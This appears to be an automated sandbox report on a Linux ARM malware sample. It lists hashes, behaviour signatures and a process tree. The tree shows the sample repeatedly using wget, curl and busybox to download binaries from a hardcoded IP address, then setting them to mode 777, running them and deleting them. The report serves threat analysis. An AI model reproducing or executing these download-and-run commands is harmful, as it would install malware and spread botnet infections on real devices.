Analysis

  • max time kernel
    13s
  • max time network
    15s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-11-2024 15:13

General

  • Target

    838371a13b589ee0fc2718a47f5fc344fba98088f2c9992ad8a37a666460d856N

  • Size

    10KB

  • MD5

    8024f690eb7cff058a13d1d38f0b31c0

  • SHA1

    c4be3a2eb04473145808dd1ce797dce7815d06dc

  • SHA256

    838371a13b589ee0fc2718a47f5fc344fba98088f2c9992ad8a37a666460d856

  • SHA512

    9fa6258d021edb3a5423acb3c3d58dddad944e245b9f849a1f4ce16473b3976c29b7e07c4f171df4f4d8acd04988b6eba64c58a82ecf121b6c9756d10324ec9f

  • SSDEEP

    192:+fEqq1c7X/8cm6S6m6W6D676ABfBga7X/8cI6S6m6W6D676wqqi:+fEqq1c7X/8c0BfBga7X/8cuqqi

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 16 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/838371a13b589ee0fc2718a47f5fc344fba98088f2c9992ad8a37a666460d856N
    /tmp/838371a13b589ee0fc2718a47f5fc344fba98088f2c9992ad8a37a666460d856N
    1⤵
      PID:648
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:650
        • /usr/bin/wget
          wget http://216.126.231.240/bins/8ReStadMbCmEurUfQpyytOyHFmyODTgdGZ
          2⤵
            PID:655
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/8ReStadMbCmEurUfQpyytOyHFmyODTgdGZ
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:670
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/8ReStadMbCmEurUfQpyytOyHFmyODTgdGZ
            2⤵
              PID:677
            • /bin/chmod
              chmod 777 8ReStadMbCmEurUfQpyytOyHFmyODTgdGZ
              2⤵
              • File and Directory Permissions Modification
              PID:681
            • /tmp/8ReStadMbCmEurUfQpyytOyHFmyODTgdGZ
              ./8ReStadMbCmEurUfQpyytOyHFmyODTgdGZ
              2⤵
              • Executes dropped EXE
              PID:682
            • /bin/rm
              rm 8ReStadMbCmEurUfQpyytOyHFmyODTgdGZ
              2⤵
                PID:683
              • /usr/bin/wget
                wget http://216.126.231.240/bins/pdKVkFOm7ztkd3MTtusCdcpXVtx5YFLCHK
                2⤵
                  PID:684
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/pdKVkFOm7ztkd3MTtusCdcpXVtx5YFLCHK
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:685
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/pdKVkFOm7ztkd3MTtusCdcpXVtx5YFLCHK
                  2⤵
                    PID:691
                  • /bin/chmod
                    chmod 777 pdKVkFOm7ztkd3MTtusCdcpXVtx5YFLCHK
                    2⤵
                    • File and Directory Permissions Modification
                    PID:698
                  • /tmp/pdKVkFOm7ztkd3MTtusCdcpXVtx5YFLCHK
                    ./pdKVkFOm7ztkd3MTtusCdcpXVtx5YFLCHK
                    2⤵
                    • Executes dropped EXE
                    PID:700
                  • /bin/rm
                    rm pdKVkFOm7ztkd3MTtusCdcpXVtx5YFLCHK
                    2⤵
                      PID:701
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/eFhEuB2IQPROIGH3xR2y4KCjtxnY8UdeEX
                      2⤵
                        PID:703
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/eFhEuB2IQPROIGH3xR2y4KCjtxnY8UdeEX
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:710
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/eFhEuB2IQPROIGH3xR2y4KCjtxnY8UdeEX
                        2⤵
                          PID:718
                        • /bin/chmod
                          chmod 777 eFhEuB2IQPROIGH3xR2y4KCjtxnY8UdeEX
                          2⤵
                          • File and Directory Permissions Modification
                          PID:725
                        • /tmp/eFhEuB2IQPROIGH3xR2y4KCjtxnY8UdeEX
                          ./eFhEuB2IQPROIGH3xR2y4KCjtxnY8UdeEX
                          2⤵
                          • Executes dropped EXE
                          PID:726
                        • /bin/rm
                          rm eFhEuB2IQPROIGH3xR2y4KCjtxnY8UdeEX
                          2⤵
                            PID:727
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/LiawmxcPz55E9BGHImSZlcHkWDWJ8BjGuo
                            2⤵
                              PID:729
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/LiawmxcPz55E9BGHImSZlcHkWDWJ8BjGuo
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:739
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/LiawmxcPz55E9BGHImSZlcHkWDWJ8BjGuo
                              2⤵
                                PID:743
                              • /bin/chmod
                                chmod 777 LiawmxcPz55E9BGHImSZlcHkWDWJ8BjGuo
                                2⤵
                                • File and Directory Permissions Modification
                                PID:744
                              • /tmp/LiawmxcPz55E9BGHImSZlcHkWDWJ8BjGuo
                                ./LiawmxcPz55E9BGHImSZlcHkWDWJ8BjGuo
                                2⤵
                                • Executes dropped EXE
                                PID:745
                              • /bin/rm
                                rm LiawmxcPz55E9BGHImSZlcHkWDWJ8BjGuo
                                2⤵
                                  PID:746
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/FQEOoM3X8lrwXw1WGkPq7AModrpioPpb3f
                                  2⤵
                                    PID:747
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/FQEOoM3X8lrwXw1WGkPq7AModrpioPpb3f
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:751
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/FQEOoM3X8lrwXw1WGkPq7AModrpioPpb3f
                                    2⤵
                                      PID:760
                                    • /bin/chmod
                                      chmod 777 FQEOoM3X8lrwXw1WGkPq7AModrpioPpb3f
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:774
                                    • /tmp/FQEOoM3X8lrwXw1WGkPq7AModrpioPpb3f
                                      ./FQEOoM3X8lrwXw1WGkPq7AModrpioPpb3f
                                      2⤵
                                      • Executes dropped EXE
                                      PID:775
                                    • /bin/rm
                                      rm FQEOoM3X8lrwXw1WGkPq7AModrpioPpb3f
                                      2⤵
                                        PID:777
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/F5OKQ3rjsaKUhtVPlG2yRcyUCByTqq9Hkg
                                        2⤵
                                          PID:778
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/F5OKQ3rjsaKUhtVPlG2yRcyUCByTqq9Hkg
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:784
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/F5OKQ3rjsaKUhtVPlG2yRcyUCByTqq9Hkg
                                          2⤵
                                            PID:785
                                          • /bin/chmod
                                            chmod 777 F5OKQ3rjsaKUhtVPlG2yRcyUCByTqq9Hkg
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:786
                                          • /tmp/F5OKQ3rjsaKUhtVPlG2yRcyUCByTqq9Hkg
                                            ./F5OKQ3rjsaKUhtVPlG2yRcyUCByTqq9Hkg
                                            2⤵
                                            • Executes dropped EXE
                                            PID:787
                                          • /bin/rm
                                            rm F5OKQ3rjsaKUhtVPlG2yRcyUCByTqq9Hkg
                                            2⤵
                                              PID:788
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/BUPEOCJFPRTKQzeLmm94BCHijhgDL3bBl5
                                              2⤵
                                                PID:789
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/BUPEOCJFPRTKQzeLmm94BCHijhgDL3bBl5
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:790
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/BUPEOCJFPRTKQzeLmm94BCHijhgDL3bBl5
                                                2⤵
                                                  PID:791
                                                • /bin/chmod
                                                  chmod 777 BUPEOCJFPRTKQzeLmm94BCHijhgDL3bBl5
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:792
                                                • /tmp/BUPEOCJFPRTKQzeLmm94BCHijhgDL3bBl5
                                                  ./BUPEOCJFPRTKQzeLmm94BCHijhgDL3bBl5
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:793
                                                • /bin/rm
                                                  rm BUPEOCJFPRTKQzeLmm94BCHijhgDL3bBl5
                                                  2⤵
                                                    PID:794
                                                  • /usr/bin/wget
                                                    wget http://216.126.231.240/bins/SlxAp23TLnMDOtEJaYDtSWAuowl8awe0ay
                                                    2⤵
                                                      PID:795
                                                    • /usr/bin/curl
                                                      curl -O http://216.126.231.240/bins/SlxAp23TLnMDOtEJaYDtSWAuowl8awe0ay
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:796
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/SlxAp23TLnMDOtEJaYDtSWAuowl8awe0ay
                                                      2⤵
                                                        PID:797
                                                      • /bin/chmod
                                                        chmod 777 SlxAp23TLnMDOtEJaYDtSWAuowl8awe0ay
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:798
                                                      • /tmp/SlxAp23TLnMDOtEJaYDtSWAuowl8awe0ay
                                                        ./SlxAp23TLnMDOtEJaYDtSWAuowl8awe0ay
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:799
                                                      • /bin/rm
                                                        rm SlxAp23TLnMDOtEJaYDtSWAuowl8awe0ay
                                                        2⤵
                                                          PID:800
                                                        • /usr/bin/wget
                                                          wget http://216.126.231.240/bins/mJN62MA381JSNwxqMwQ7H88NQY12gs09PC
                                                          2⤵
                                                            PID:801

                                                        Network

                                                        MITRE ATT&CK Enterprise v15

                                                        Replay Monitor

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                                                        Downloads

                                                        • /tmp/8ReStadMbCmEurUfQpyytOyHFmyODTgdGZ

                                                          Filesize

                                                          153B

                                                          MD5

                                                          998368d7c95ea4293237f2320546e440

                                                          SHA1

                                                          30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                          SHA256

                                                          533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                          SHA512

                                                          648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97